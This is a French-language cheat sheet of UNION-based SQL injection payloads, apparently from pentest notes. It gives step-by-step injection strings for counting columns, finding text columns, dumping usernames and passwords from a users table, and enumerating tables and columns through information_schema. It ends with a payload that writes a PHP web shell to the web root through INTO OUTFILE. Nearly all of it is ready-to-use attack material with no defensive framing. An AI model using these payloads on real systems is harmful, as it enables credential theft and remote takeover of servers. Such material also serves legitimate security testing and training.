# UNION based

## Déterminer le nombre de colonnes

### Avec ORDER BY

```sql
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
etc.
```

### Avec UNION SELECT

```sql
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
etc.
```

## Trouver une colonne contenant du texte

```sql
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
etc.

Une fois le nombre de colonne trouvé,

' UNION SELECT 'a',NULL,NULL--
' UNION SELECT NULL,'a',NULL--
' UNION SELECT NULL,NULL,'a'--
```

## Selectionner des colonnes dans une table

```sql
' UNION SELECT <column1>, <column2>,... FROM table--
Exemple:
' UNION SELECT username, password FROM users--
```

## Afficher plusieurs colonnes d'une table sur une seule ligne

```sql
' UNION SELECT <column1> || '<separator>' || <column2> FROM table--
Exemple:
' UNION SELECT username || '~' || password FROM users--
```

## Recupérer la liste des tables dans la BDD

Exemple:

```sql
' UNION SELECT NULL,NULL-- (2 colonnes)
Donc,
' UNION SELECT table_name,NULL FROM information_schema.tables--

reponse,
...
...
users
```

## Récupérer le nom des colonnes dans une table

En suivant l'exemple précédent:

```sql
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'--
```

{% hint style="info" %}
Pour Oracle, remplacer '`information_schema.tables`' par '`all_tables`' et `'information_schema.columns`' par '`all_tab_columns`'.
{% endhint %}

## PHP RCE

```sql
' UNION SELECT '<?php system($_GET['cmd']); ?>' INTO OUTFILE '/var/www/html/shell.php' #
```
